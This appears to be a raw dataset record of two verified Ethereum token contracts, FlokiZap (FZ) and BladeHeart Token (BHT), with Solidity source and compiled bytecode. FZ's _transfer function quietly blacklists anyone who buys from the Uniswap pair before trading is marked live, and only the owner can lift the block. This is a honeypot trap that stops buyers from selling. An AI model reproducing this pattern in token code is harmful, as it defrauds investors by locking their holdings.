require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FZ is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
string private _name = 'FlokiZap';
string private _symbol = 'FZ';
uint8 private _decimals = 18;
uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 1 * 1e7 * 1e18;
uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
uint256 public constant MAG = 10 ** 18;
uint256 public rateOfChange = MAG;
uint256 private _totalSupply;
uint256 public _gonsPerFragment;
mapping(address => uint256) public _gonBalances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping(address => bool) public blacklist;
mapping (address => uint256) public _buyInfo;
uint256 public _percentForTxLimit = 2; //2% of total supply;
uint256 public _percentForRebase = 5; //5% of total supply;
uint256 public _timeLimitFromLastBuy = 1 minutes;
uint256 private uniswapV2PairAmount;
bool public _live = false;
constructor () public {
_totalSupply = INITIAL_FRAGMENTS_SUPPLY;
_gonBalances[_msgSender()] = TOTAL_GONS;
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if(account == uniswapV2Pair)
return uniswapV2PairAmount;
return _gonBalances[account].div(_gonsPerFragment);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function rebasePlus(uint256 _amount) private {
_totalSupply = _totalSupply.add(_amount.div(5));
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "ERC20: Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
uint256 txLimitAmount = _totalSupply.mul(_percentForTxLimit).div(100);
require(amount <= txLimitAmount, "ERC20: amount exceeds the max tx limit.");
if(from != uniswapV2Pair) {
require(!blacklist[from] && !blacklist[to], 'ERC20: the transaction was blocked.');
require(_buyInfo[from] == 0 || _buyInfo[from].add(_timeLimitFromLastBuy) < now, "ERC20: Tx not allowed yet.");
if(to != address(uniswapV2Router) && to != uniswapV2Pair)
_tokenTransfer(from, to, amount, 0);
else
_tokenTransfer(from, to, amount, 0);
}
else {
if(!_live)
blacklist[to] = true;
require(balanceOf(to) <= txLimitAmount, 'ERC20: current balance exceeds the max limit.');
_buyInfo[to] = now;
_tokenTransfer(from, to, amount, 0);
uint256 rebaseLimitAmount = _totalSupply.mul(_percentForRebase).div(100);
uint256 currentBalance = balanceOf(to);
uint256 newBalance = currentBalance.add(amount);
if(currentBalance < rebaseLimitAmount && newBalance < rebaseLimitAmount) {
rebasePlus(amount);
}
}
} else {
_tokenTransfer(from, to, amount, 0);
}
}
function _tokenTransfer(address from, address to, uint256 amount, uint256 taxFee) internal {
if(to == uniswapV2Pair)
uniswapV2PairAmount = uniswapV2PairAmount.add(amount);
else if(from == uniswapV2Pair)
uniswapV2PairAmount = uniswapV2PairAmount.sub(amount);
uint256 burnAmount = amount.mul(taxFee).div(100);
uint256 transferAmount = amount.sub(burnAmount);
uint256 gonTotalValue = amount.mul(_gonsPerFragment);
uint256 gonValue = transferAmount.mul(_gonsPerFragment);
_gonBalances[from] = _gonBalances[from].sub(gonTotalValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(from, to, transferAmount);
if(burnAmount > 0)
emit Transfer(from, address(0x0), burnAmount);
}
function updateLive() external {
if(!_live) {
_live = true;
}
}
function unblockWallet(address account) public onlyOwner {
blacklist[account] = false;
}
function updatePercentForTxLimit(uint256 percentForTxLimit) public onlyOwner {
require(percentForTxLimit >= 1, 'ERC20: max tx limit should be greater than 1');
_percentForTxLimit = percentForTxLimit;
}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c8063715018a6116100de578063c4996f5111610097578063e679e27c11610071578063e679e27c1461041d578063ed82193c14610425578063f9f92be41461044b578063fd2dbb0e146104715761018e565b8063c4996f51146103ca578063c82a8fed146103d2578063dd62ed3e146103ef5761018e565b8063715018a6146103765780638da5cb5b1461037e57806395d89b4114610386578063a9059cbb1461038e578063bce87b33146103ba578063bef18a19146103c25761018e565b8063313ce5671161014b5780634c4be8a6116101255780634c4be8a61461033857806356e0ec72146103405780636b0a26d21461034857806370a08231146103505761018e565b8063313ce567146102ec57806336fed9751461030a57806349bd5a5e146103305761018e565b806306fdde0314610193578063095ea7b3146102105780631694505e1461025057806318160ddd146102745780631c8e11791461028e57806323b872dd146102b6575b600080fd5b61019b610479565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61023c6004803603604081101561022657600080fd5b506001600160a01b03813516906020013561050f565b604080519115158252519081900360200190f35b61025861052d565b604080516001600160a01b039092168252519081900360200190f35b61027c61053c565b60408051918252519081900360200190f35b6102b4600480360360208110156102a457600080fd5b50356001600160a01b0316610542565b005b61023c600480360360608110156102cc57600080fd5b506001600160a01b038135811691602081013590911690604001356105cd565b6102f4610654565b6040805160ff9092168252519081900360200190f35b61027c6004803603602081101561032057600080fd5b50356001600160a01b031661065d565b61025861066f565b61027c61067e565b61023c61068a565b61027c610693565b61027c6004803603602081101561036657600080fd5b50356001600160a01b0316610699565b6102b46106e8565b61025861079c565b61019b6107ab565b61023c600480360360408110156103a457600080fd5b506001600160a01b03813516906020013561080c565b61027c610820565b61027c610826565b61027c61082c565b6102b4600480360360208110156103e857600080fd5b5035610832565b61027c6004803603604081101561040557600080fd5b506001600160a01b03813581169160200135166108e1565b61027c61090c565b61027c6004803603602081101561043b57600080fd5b50356001600160a01b0316610912565b61023c6004803603602081101561046157600080fd5b50356001600160a01b0316610924565b6102b4610939565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105055780601f106104da57610100808354040283529160200191610505565b820191906000526020600020905b8154815290600101906020018083116104e857829003601f168201915b5050505050905090565b600061052361051c61099c565b84846109a0565b5060015b92915050565b6002546001600160a01b031681565b60085490565b61054a61099c565b6000546001600160a01b039081169116146105ac576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03166000908152600c60205260409020805460ff19169055565b60006105da848484610a8c565b61064a846105e661099c565b61064585604051806060016040528060288152602001611377602891396001600160a01b038a166000908152600b602052604081209061062461099c565b6001600160a01b031681526020810191909152604001600020549190610e95565b6109a0565b5060019392505050565b60065460ff1690565b600a6020526000908152604090205481565b6003546001600160a01b031681565b670de0b6b3a764000081565b60125460ff1681565b60075481565b6003546000906001600160a01b03838116911614156106bb57506011546106e3565b6009546001600160a01b0383166000908152600a60205260409020546106e091610953565b90505b919050565b6106f061099c565b6000546001600160a01b03908116911614610752576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105055780601f106104da57610100808354040283529160200191610505565b600061052361081961099c565b8484610a8c565b600e5481565b600f5481565b60095481565b61083a61099c565b6000546001600160a01b0390811691161461089c576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60018110156108dc5760405162461bcd60e51b815260040180806020018281038252602c81526020018061132a602c913960400191505060405180910390fd5b600e55565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b60105481565b600d6020526000908152604090205481565b600c6020526000908152604090205460ff1681565b60125460ff16610951576012805460ff191660011790555b565b600061099583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f2c565b9392505050565b3390565b6001600160a01b0383166109e55760405162461bcd60e51b81526004018080602001828103825260248152602001806113e76024913960400191505060405180910390fd5b6001600160a01b038216610a2a5760405162461bcd60e51b81526004018080602001828103825260228152602001806113086022913960400191505060405180910390fd5b6001600160a01b038084166000818152600b6020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610ad15760405162461bcd60e51b81526004018080602001828103825260258152602001806113c26025913960400191505060405180910390fd5b6001600160a01b038216610b165760405162461bcd60e51b81526004018080602001828103825260238152602001806112616023913960400191505060405180910390fd5b60008111610b555760405162461bcd60e51b81526004018080602001828103825260308152602001806112d86030913960400191505060405180910390fd5b610b5d61079c565b6001600160a01b0316836001600160a01b031614158015610b975750610b8161079c565b6001600160a01b0316826001600160a01b031614155b15610e83576000610bc06064610bba600e54600854610f9190919063ffffffff16565b90610953565b905080821115610c015760405162461bcd60e51b81526004018080602001828103825260278152602001806112b16027913960400191505060405180910390fd5b6003546001600160a01b03858116911614610d83576001600160a01b0384166000908152600c602052604090205460ff16158015610c5857506001600160a01b0383166000908152600c602052604090205460ff16155b610c935760405162461bcd60e51b815260040180806020018281038252602381526020018061139f6023913960400191505060405180910390fd5b6001600160a01b0384166000908152600d60205260409020541580610cdd57506010546001600160a01b0385166000908152600d60205260409020544291610cdb9190610fea565b105b610d2e576040805162461bcd60e51b815260206004820152601a60248201527f45524332303a205478206e6f7420616c6c6f776564207965742e000000000000604482015290519081900360640190fd5b6002546001600160a01b03848116911614801590610d5a57506003546001600160a01b03848116911614155b15610d7157610d6c8484846000611044565b610d7e565b610d7e8484846000611044565b610e7d565b60125460ff16610db1576001600160a01b0383166000908152600c60205260409020805460ff191660011790555b80610dbb84610699565b1115610df85760405162461bcd60e51b815260040180806020018281038252602d815260200180611284602d913960400191505060405180910390fd5b6001600160a01b0383166000908152600d60205260408120429055610e2290859085908590611044565b6000610e406064610bba600f54600854610f9190919063ffffffff16565b90506000610e4d85610699565b90506000610e5b8286610fea565b90508282108015610e6b57508281105b15610e7957610e79856111e5565b5050505b50610e90565b610e908383836000611044565b505050565b60008184841115610f245760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ee9578181015183820152602001610ed1565b50505050905090810190601f168015610f165780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610f7b5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610ee9578181015183820152602001610ed1565b506000838581610f8757fe5b0495945050505050565b600082610fa057506000610527565b82820282848281610fad57fe5b04146109955760405162461bcd60e51b81526004018080602001828103825260218152602001806113566021913960400191505060405180910390fd5b600082820183811015610995576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6003546001600160a01b038481169116141561106f576011546110679083610fea565b601155611096565b6003546001600160a01b038581169116141561109657601154611092908361121e565b6011555b60006110a76064610bba8585610f91565b905060006110b5848361121e565b905060006110ce60095486610f9190919063ffffffff16565b905060006110e760095484610f9190919063ffffffff16565b6001600160a01b0389166000908152600a602052604090205490915061110d908361121e565b6001600160a01b03808a166000908152600a6020526040808220939093559089168152205461113c9082610fea565b6001600160a01b038089166000818152600a602090815260409182902094909455805187815290519193928c16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a383156111db576040805185815290516000916001600160a01b038b16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35b5050505050505050565b6111fc6111f3826005610953565b60085490610fea565b6008819055611218906a0357636f35a3ab8fffffff1990610953565b60095550565b600061099583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e9556fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a2063757272656e742062616c616e6365206578636565647320746865206d6178206c696d69742e45524332303a20616d6f756e74206578636565647320746865206d6178207478206c696d69742e45524332303a205472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206d6178207478206c696d69742073686f756c642062652067726561746572207468616e2031536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a20746865207472616e73616374696f6e2077617320626c6f636b65642e45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212201ce39911b45de32960774773e304486ce6f3650f4c2dab5ca953926974d242cd64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,398 |
0x4C3bB1A82E7Ba0AB5D60B4f63F44c94AccEB9F53
|
/**
*Submitted for verification at Etherscan.io on 2021-12-05
*/
// SPDX-License-Identifier: MIT
//
// In this Ethereum blockchain based NFT Action RPG powered by the Bladeheart NFT framework, you can
// collect NFTs, own lands, fight epic monsters, and explore infinite worlds.
// As the in-game currency, the Bladeheart token (BHT) allows you to stake and farm tokens to earn
// rewards inside and outside the game universe.
// Explore the Bladeheart world now!
//
// Telegram: https://t.me/BladeheartP2E
// Discord: https://discord.com/invite/Jvmm8vYGew
// Reddit: https://www.reddit.com/r/BladeheartNFT/
// Twitter: https://twitter.com/BladeheartNFT
// Instagram: https://www.instagram.com/bladeheartnft/
// Website: http://bladeheart.net/
pragma solidity ^0.8.9;
uint256 constant INITIAL_TAX=9;
uint256 constant TOTAL_SUPPLY=240000000;
string constant TOKEN_SYMBOL="BHT";
string constant TOKEN_NAME="BladeHeart Token";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract BladeHeartToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(50);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102a7578063a9059cbb146102c7578063dd62ed3e146102e7578063f42938901461032d57600080fd5b806370a082311461021e578063715018a61461023e5780638da5cb5b1461025357806395d89b411461027b57600080fd5b8063293230b8116100c6578063293230b8146101c1578063313ce567146101d85780633e07ce5b146101f457806351bc3c851461020957600080fd5b806306fdde0314610103578063095ea7b31461014e57806318160ddd1461017e57806323b872dd146101a157600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152601081526f213630b232a432b0b93a102a37b5b2b760811b60208201525b60405161014591906113a1565b60405180910390f35b34801561015a57600080fd5b5061016e61016936600461140b565b610342565b6040519015158152602001610145565b34801561018a57600080fd5b50610193610359565b604051908152602001610145565b3480156101ad57600080fd5b5061016e6101bc366004611437565b61037a565b3480156101cd57600080fd5b506101d66103e3565b005b3480156101e457600080fd5b5060405160068152602001610145565b34801561020057600080fd5b506101d661075b565b34801561021557600080fd5b506101d6610791565b34801561022a57600080fd5b50610193610239366004611478565b6107be565b34801561024a57600080fd5b506101d66107e0565b34801561025f57600080fd5b506000546040516001600160a01b039091168152602001610145565b34801561028757600080fd5b5060408051808201909152600381526210921560ea1b6020820152610138565b3480156102b357600080fd5b506101d66102c2366004611495565b610884565b3480156102d357600080fd5b5061016e6102e236600461140b565b6108ad565b3480156102f357600080fd5b506101936103023660046114ae565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561033957600080fd5b506101d66108ba565b600061034f338484610924565b5060015b92915050565b60006103676006600a6115e1565b61037590630e4e1c006115f0565b905090565b6000610387848484610a48565b6103d984336103d485604051806060016040528060288152602001611755602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610ccd565b610924565b5060019392505050565b6009546001600160a01b031633146103fa57600080fd5b600c54600160a01b900460ff16156104595760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104859030906001600160a01b03166104776006600a6115e1565b6103d490630e4e1c006115f0565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104fc919061160f565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561055e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610582919061160f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f3919061160f565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d7194730610623816107be565b6000806106386000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106a0573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106c5919061162c565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610734573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610758919061165a565b50565b6009546001600160a01b0316331461077257600080fd5b61077e6006600a6115e1565b61078c90630e4e1c006115f0565b600a55565b6009546001600160a01b031633146107a857600080fd5b60006107b3306107be565b905061075881610d07565b6001600160a01b03811660009081526002602052604081205461035390610e81565b6000546001600160a01b0316331461083a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610450565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60095460016